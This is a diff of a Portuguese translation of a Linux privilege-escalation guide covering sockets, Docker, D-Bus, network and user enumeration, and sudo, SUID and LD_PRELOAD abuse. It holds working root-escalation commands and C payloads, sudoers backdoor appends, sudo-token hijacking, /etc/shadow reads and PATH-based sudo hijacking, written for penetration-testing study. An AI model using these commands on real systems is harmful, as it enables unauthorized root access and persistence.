IPv4/6 e/ou número da porta a escutar, etc.) +- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de serviço é gerada para cada conexão recebida** e somente o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a unidade de service iniciada**, e apenas uma unidade de service é gerada para todas as conexões. Este valor é ignorado para datagram sockets e FIFOs, onde uma única unidade de service lida incondicionalmente com todo o tráfego de entrada. **Padrão: false**. Por questões de desempenho, recomenda-se escrever novos daemons apenas de forma adequada para `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** dos **sockets**/FIFOs de escuta serem **criadas** e vinculadas, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos do processo. +- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** dos **sockets**/FIFOs de escuta serem **fechados** e removidos, respectivamente. +- `Service`: Especifica o nome da unidade de **service** a **ativar** no **tráfego de entrada**. Esta configuração só é permitida para sockets com Accept=no. Por padrão, aponta para o service que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção. -### Writable .socket files +### Arquivos `.socket` graváveis -Se você encontrar um arquivo `.socket` **gravável**, pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, **provavelmente será necessário esperar até que a máquina seja reiniciada.**\ +Se você encontrar um arquivo `.socket` **gravável** você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ _Observe que o sistema deve estar usando essa configuração de arquivo socket ou o backdoor não será executado_ -### Writable sockets +### Sockets graváveis -Se você **identificar qualquer socket gravável** (_agora estamos falando de Unix Sockets e não dos arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. +Se você **identificar algum socket gravável** (_agora estamos falando de Unix Sockets e não dos arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. -### Enumerate Unix Sockets +### Enumerar Unix Sockets ```bash netstat -a -p --unix ``` @@ -540,48 +539,48 @@ socket-command-injection.md ### HTTP sockets -Observe que pode haver alguns **sockets escutando requisições HTTP** (_não estou falando dos .socket files, mas dos arquivos que atuam como unix sockets_). Você pode verificar isso com: +Observe que pode haver alguns **sockets listening for HTTP** requests (_não estou falando sobre arquivos .socket mas sobre os arquivos que atuam como unix sockets_). Você pode verificar isso com: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se o socket **responds with an HTTP** request, então você pode **communicate** com ele e talvez **exploit some vulnerability**. +Se o socket **responder com uma requisição HTTP**, então você pode **comunicar-se** com ele e talvez **explorar alguma vulnerabilidade**. -### Docker Socket Gravável +### Docker socket gravável -O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e pelos membros do grupo `docker`. Possuir acesso de escrita a este socket pode levar a privilege escalation. A seguir um resumo de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. +O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e pelos membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar a privilege escalation. Abaixo está um resumo de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. #### **Privilege Escalation with Docker CLI** -Se você tem acesso de escrita ao Docker socket, pode realizar privilege escalation usando os seguintes comandos: +Se você tem acesso de escrita ao Docker socket, você pode realizar privilege escalation usando os seguintes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` Esses comandos permitem executar um container com acesso root ao sistema de arquivos do host. -#### **Usando Docker API Diretamente** +#### **Usando a API do Docker Diretamente** -Em casos em que o Docker CLI não está disponível, o docker socket ainda pode ser manipulado usando a Docker API e comandos `curl`. +Quando o Docker CLI não estiver disponível, o socket do Docker ainda pode ser manipulado usando a Docker API e comandos `curl`. -1. **List Docker Images:** Retrieve the list of available images. +1. **List Docker Images:** Recupere a lista de imagens disponíveis. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +2. **Create a Container:** Envie uma requisição para criar um container que monte o diretório raiz do sistema host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Inicie o container recém-criado: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +3. **Attach to the Container:** Use `socat` para estabelecer uma conexão com o container, permitindo a execução de comandos dentro dele. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -591,11 +590,11 @@ Connection: Upgrade Upgrade: tcp ``` -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +Depois de estabelecer a conexão `socat`, você pode executar comandos diretamente no container com acesso root ao sistema de arquivos do host. -### Outros +### Others -Observe que, se você tiver permissões de escrita sobre o docker socket por estar **inside the group `docker`** você tem [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Se a [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Observe que se você tem permissões de escrita sobre o docker socket porque está **inside the group `docker`** você tem [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Check **more ways to break out from docker or abuse it to escalate privileges** in: @@ -606,7 +605,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Se você puder usar o comando **`ctr`**, leia a página a seguir, pois **you may be able to abuse it to escalate privileges**: +Se você descobrir que pode usar o comando **`ctr`**, leia a página a seguir, pois **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -615,7 +614,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Se você puder usar o comando **`runc`**, leia a página a seguir, pois **you may be able to abuse it to escalate privileges**: +Se você descobrir que pode usar o comando **`runc`**, leia a página a seguir, pois **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -624,13 +623,13 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus é um sofisticado **inter-Process Communication (IPC) system** que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado para o sistema Linux moderno, oferece um framework robusto para diferentes formas de comunicação entre aplicações. +D-Bus é um sofisticado sistema de **inter-Process Communication (IPC)** que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado para o sistema Linux moderno, oferece um framework robusto para diferentes formas de comunicação entre aplicações. -O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, lembrando **enhanced UNIX domain sockets**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo integração entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer com que um reprodutor de música silencie, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviço e invocações de métodos entre aplicações, agilizando processos que tradicionalmente eram complexos. +O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, semelhante a UNIX domain sockets aprimorados. Além disso, auxilia na transmissão de eventos ou sinais, promovendo integração entre componentes do sistema. Por exemplo, um sinal de um daemon de Bluetooth sobre uma chamada recebida pode fazer com que um player de música silencie, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando pedidos de serviço e invocações de métodos entre aplicações, racionalizando processos que tradicionalmente eram complexos. -O D-Bus funciona com um **allow/deny model**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política que correspondem. Essas políticas especificam interações com o bus, potencialmente permitindo privilege escalation através da exploração dessas permissões. +O D-Bus opera em um modelo de **allow/deny**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política que correspondem. Essas políticas especificam interações com o bus, podendo potencialmente permitir privilege escalation através da exploração dessas permissões. -Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar para e receber mensagens de `fi.w1.wpa_supplicant1`. +Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root ter ownership, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas de contexto "default" se aplicam a todos não cobertos por outras políticas específicas. ```xml @@ -641,7 +640,7 @@ Políticas sem um usuário ou grupo especificado se aplicam universalmente, enqu ``` -**Aprenda como enumerate e exploit uma comunicação D-Bus aqui:** +**Aprenda como enumerar e explorar uma comunicação D-Bus aqui:** {{#ref}} @@ -650,9 +649,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Rede** -É sempre interessante enumerate a rede e descobrir a posição da máquina. +Sempre é interessante enumerar a rede e descobrir a posição da máquina. -### Generic enumeration +### Enumeração genérica ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -675,24 +674,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Portas abertas +### Open ports -Verifique sempre os serviços de rede em execução na máquina com os quais você não conseguiu interagir antes de acessá-la: +Sempre verifique os network services em execução na máquina com os quais você não conseguiu interagir antes de acessá-la: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Verifique se você pode sniff traffic. Se conseguir, poderá obter algumas credentials. +Verifique se consegue sniff traffic. Se conseguir, pode capturar algumas credenciais. ``` timeout 1 tcpdump ``` -## Users +## Usuários -### Generic Enumeration +### Enumeração Genérica -Verifique **who** você é, quais **privileges** você tem, quais **users** estão no sistema, quais podem **login** e quais têm **root privileges:** +Verifique **quem** você é, quais **privileges** você tem, quais **users** estão nos sistemas, quais podem fazer **login** e quais têm **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -714,21 +713,21 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### UID grande +### Big UID -Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** usando: **`systemd-run -t /bin/bash`** +Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais informações: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Explorar usando:** **`systemd-run -t /bin/bash`** ### Grupos -Verifique se você é **membro de algum grupo** que possa lhe conceder privilégios de root: +Verifique se você é **membro de algum grupo** que poderia conceder-lhe privilégios de root: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Área de transferência +### Área de Transferência Verifique se há algo interessante na área de transferência (se possível) ```bash @@ -747,27 +746,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Senhas conhecidas -Se você **souber alguma senha** do ambiente **tente fazer login como cada usuário** usando a senha. +Se você **souber alguma senha** do ambiente, **tente efetuar login como cada usuário** usando essa senha. ### Su Brute -Se não se importa em gerar muito ruído e os binários `su` e `timeout` estiverem presentes na máquina, você pode tentar brute-force usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-force usuários. +Se você não se importar em gerar muito ruído e os binários `su` e `timeout` estiverem presentes na máquina, você pode tentar brute-force em usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-force em usuários. -## Abusos do $PATH gravável +## Abusos de $PATH gravável ### $PATH -Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios ao **criar uma backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado a partir de uma pasta que esteja antes** da sua pasta gravável no $PATH. +Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode conseguir escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por outro usuário (idealmente root) e que **não seja carregado a partir de uma pasta que esteja antes** da sua pasta gravável no $PATH. ### SUDO and SUID -Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique usando: +Você pode ter permissão para executar alguns comandos usando sudo ou eles podem ter o bit suid. Verifique usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Alguns **comandos inesperados permitem que você leia e/ou escreva arquivos ou até execute um comando.** Por exemplo: +Alguns comandos **inesperados permitem que você leia e/ou escreva arquivos ou até mesmo execute um comando.** Por exemplo: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -778,13 +777,13 @@ less>! ``` ### NOPASSWD -A configuração do Sudo pode permitir que um usuário execute um comando com os privilégios de outro usuário sem precisar conhecer a senha. +A configuração do sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem conhecer a senha. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Neste exemplo o usuário `demo` pode executar `vim` como `root`; agora é trivial obter um shell adicionando uma chave ssh no diretório `root` ou chamando `sh`. +Neste exemplo, o usuário `demo` pode executar `vim` como `root`; agora é trivial obter um shell adicionando uma chave ssh no diretório root ou chamando `sh`. ``` sudo vim -c '!sh' ``` @@ -796,18 +795,18 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este exemplo, **baseado na HTB machine Admirer**, foi **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária enquanto executava o script como root: +Este exemplo, **baseado na máquina HTB Admirer**, estava **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária ao executar o script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV preserved via sudo env_keep → root shell +### BASH_ENV preservado via sudo env_keep → shell root -Se o sudoers preserva `BASH_ENV` (por exemplo, `Defaults env_keep+="ENV BASH_ENV"`), você pode aproveitar o comportamento de inicialização não interativo do Bash para executar código arbitrário como root ao invocar um comando permitido. +Se o sudoers preserva `BASH_ENV` (por exemplo, `Defaults env_keep+="ENV BASH_ENV"`), você pode aproveitar o comportamento de inicialização não interativa do Bash para executar código arbitrário como root ao invocar um comando permitido. -- Por que funciona: Para shells não interativos, o Bash avalia `$BASH_ENV` e carrega esse arquivo antes de executar o script alvo. Muitas regras do sudo permitem executar um script ou um wrapper de shell. Se `BASH_ENV` for preservado pelo sudo, seu arquivo é carregado com privilégios de root. +- Why it works: Para shells não interativos, Bash avalia `$BASH_ENV` e carrega (sourced) esse arquivo antes de executar o script alvo. Muitas regras do sudo permitem executar um script ou um wrapper de shell. Se `BASH_ENV` for preservado pelo sudo, seu arquivo é carregado com privilégios de root. - Requisitos: -- Uma regra do sudo que você possa executar (qualquer target que invoque `/bin/bash` de forma não interativa, ou qualquer bash script). +- Uma regra do sudo que você possa executar (qualquer alvo que invoque `/bin/bash` de forma não interativa, ou qualquer script bash). - `BASH_ENV` presente em `env_keep` (verifique com `sudo -l`). - PoC: @@ -820,14 +819,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Endurecimento: +- Hardening: - Remova `BASH_ENV` (e `ENV`) de `env_keep`, prefira `env_reset`. -- Evite wrappers de shell para comandos permitidos pelo sudo; use binários mínimos. +- Evite wrappers de shell para comandos permitidos pelo sudo; utilize binários mínimos. - Considere registro de I/O do sudo e alertas quando variáveis de ambiente preservadas forem usadas. -### Caminhos para contornar a execução do sudo +### Sudo execution bypassing paths -**Vá** ler outros arquivos ou use **symlinks**. Por exemplo no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** para ler outros arquivos ou use **symlinks**. Por exemplo no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -844,37 +843,37 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary sem caminho do comando +### Sudo command/SUID binary sem especificar o caminho do comando -Se a **permissão sudo** é dada para um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-lo alterando a variável PATH +Se a **permissão sudo** for dada a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_. Você pode explorá-la alterando a variável PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Esta técnica também pode ser usada se um binário **suid** **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**). +Esta técnica também pode ser usada se um **suid** binary **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**). [Payload examples to execute.](payloads-to-execute.md) ### Binário SUID com caminho do comando -Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o nome do comando que o arquivo suid está chamando. +Se o **suid** binary **executa outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o nome do comando que o arquivo suid está chamando. Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você deve tentar criar a função e exportá-la: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Então, quando você chamar o binário suid, essa função será executada +Então, quando você chamar o binário suid, esta função será executada ### LD_PRELOAD & **LD_LIBRARY_PATH** -A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so files) a serem carregadas pelo loader antes de todas as outras, incluindo a biblioteca padrão C (`libc.so`). Esse processo é conhecido como pré-carregamento de uma biblioteca. +A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais shared libraries (.so files) a serem carregadas pelo loader antes de todas as outras, incluindo a biblioteca C padrão (`libc.so`). Esse processo é conhecido como preloading de uma biblioteca. No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, particularmente com executáveis **suid/sgid**, o sistema impõe certas condições: -- O loader ignora **LD_PRELOAD** para executáveis em que o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_). -- Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também sejam suid/sgid são pré-carregadas. +- O loader ignora **LD_PRELOAD** para executáveis onde o real user ID (_ruid_) não corresponde ao effective user ID (_euid_). +- Para executáveis com **suid/sgid**, apenas bibliotecas em caminhos padrão que também sejam **suid/sgid** são pré-carregadas. A escalada de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a instrução **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. ``` @@ -903,7 +902,7 @@ Finalmente, **escalate privileges** executando sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Um privesc similar pode ser abusado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH**, pois ele controla o caminho onde as bibliotecas serão procuradas. +> Um privesc similar pode ser explorado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH**, pois ele controla o caminho onde as bibliotecas serão procuradas. ```c #include #include @@ -925,11 +924,11 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Ao encontrar um binary com permissões **SUID** que pareça incomum, é uma boa prática verificar se ele está carregando corretamente arquivos **.so**. Isso pode ser verificado executando o seguinte comando: +Ao encontrar um binary com permissões **SUID** que parece incomum, é boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere um potencial de exploração. +Por exemplo, ao encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere um potencial para exploração. Para explorar isso, procede-se criando um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: ```c @@ -942,7 +941,7 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Este código, uma vez compilado e executado, tem como objetivo elevar privilégios manipulando permissões de arquivo e executando um shell com privilégios elevados. +Este código, uma vez compilado e executado, visa elevate privileges manipulando file permissions e executando um shell com elevated privileges. Compile o arquivo C acima em um shared object (.so) com: ```bash @@ -960,7 +959,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Agora que encontramos um SUID binary que carrega uma library de uma pasta onde podemos escrever, vamos criar a library nessa pasta com o nome necessário: +Agora que encontramos um binário SUID que carrega uma biblioteca de uma pasta onde podemos escrever, vamos criar a biblioteca nessa pasta com o nome necessário: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -981,9 +980,9 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você **só pode injetar argumentos** em um comando. +[**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você pode **apenas injetar argumentos** em um comando. -O projeto reúne funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, spawnar bind e reverse shells, e facilitar outras tarefas de post-exploitation. +O projeto reúne funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar bind e reverse shells, e facilitar outras tarefas de pós-exploração. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1002,24 +1001,24 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se você conseguir acessar `sudo -l` pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra como explorar alguma regra do sudo. +Se você pode acessar `sudo -l` você pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra alguma forma de explorar alguma regra do sudo. -### Reusing Sudo Tokens +### Reutilizando tokens do sudo -Em casos onde você tem **sudo access** mas não a senha, você pode escalar privilégios esperando a execução de um comando sudo e então sequestar o token da sessão. +Em casos em que você tem **sudo access** mas não a senha, você pode escalar privilégios esperando a execução de um comando sudo e então sequestrando o token de sessão. Requisitos para escalar privilégios: - Você já tem um shell como o usuário "_sampleuser_" -- "_sampleuser_" **usou `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do token do sudo que nos permite usar `sudo` sem inserir qualquer senha) +- "_sampleuser_" tenha **utilizado `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do token do sudo que nos permite usar `sudo` sem inserir nenhuma senha) - `cat /proc/sys/kernel/yama/ptrace_scope` é 0 - `gdb` está acessível (você pode fazer upload dele) -(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) +(Você pode habilitar temporariamente o `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou modificando permanentemente `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token do sudo na sua sessão** (você não obterá automaticamente um shell root, execute `sudo su`): +- O **primeiro exploit** (`exploit.sh`) vai criar o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token do sudo na sua sessão** (você não obterá automaticamente um shell root, execute `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -1030,27 +1029,27 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- O **third exploit** (`exploit_v3.sh`) vai **criar um sudoers file** que torna os **sudo tokens eternos e permite que todos os usuários usem sudo** +- O **terceiro exploit** (`exploit_v3.sh`) vai **criar um sudoers file** que torna **sudo tokens eternos e permite que todos os usuários usem sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se você tiver **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro dela, você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um sudo token para um usuário e PID**.\ -Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse usuário com PID 1234, você pode **obter privilégios sudo** sem precisar saber a senha, executando: +Se você tem **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro dela, pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um sudo token para um usuário e PID**.\ +Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse usuário com PID 1234, você pode **obter privilégios sudo** sem precisar saber a senha, fazendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d O arquivo `/etc/sudoers` e os arquivos dentro de `/etc/sudoers.d` configuram quem pode usar `sudo` e como. Esses arquivos **por padrão só podem ser lidos pelo usuário root e pelo grupo root**.\ -**Se** você conseguir **ler** este arquivo, poderá **obter algumas informações interessantes**, e se você conseguir **escrever** em qualquer arquivo, será capaz de **escalar privilégios**. +**Se** você conseguir **ler** esse arquivo, pode ser capaz de **obter informações interessantes**, e se conseguir **escrever** em qualquer arquivo, você será capaz de **escalar privilégios**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Se você pode escrever, pode abusar dessa permissão. +Se você pode escrever, pode abusar desta permissão. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1064,15 +1063,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Existem algumas alternativas ao binário `sudo`, como `doas` do OpenBSD; lembre-se de verificar sua configuração em `/etc/doas.conf` +Existem algumas alternativas ao binário `sudo`, como o `doas` do OpenBSD; lembre-se de verificar a sua configuração em `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se você sabe que um **usuário geralmente conecta-se a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto de usuário, você pode **criar um novo executável sudo** que irá executar seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. +Se você sabe que um **usuário normalmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto de usuário, você pode **criar um novo executável sudo** que executará seu código como root e depois o comando do usuário. Em seguida, **modificar o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. -Observe que se o usuário usa um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Observe que se o usuário usa um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, 